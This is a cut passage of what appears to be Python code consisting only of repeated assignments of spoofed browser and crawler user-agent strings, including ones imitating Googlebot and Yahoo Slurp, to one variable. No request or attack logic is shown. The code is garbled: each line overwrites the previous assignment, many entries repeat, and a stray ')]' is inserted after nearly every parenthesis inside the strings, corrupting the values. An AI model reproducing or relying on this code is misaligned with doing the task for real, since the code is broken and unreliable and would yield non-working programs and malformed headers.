AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 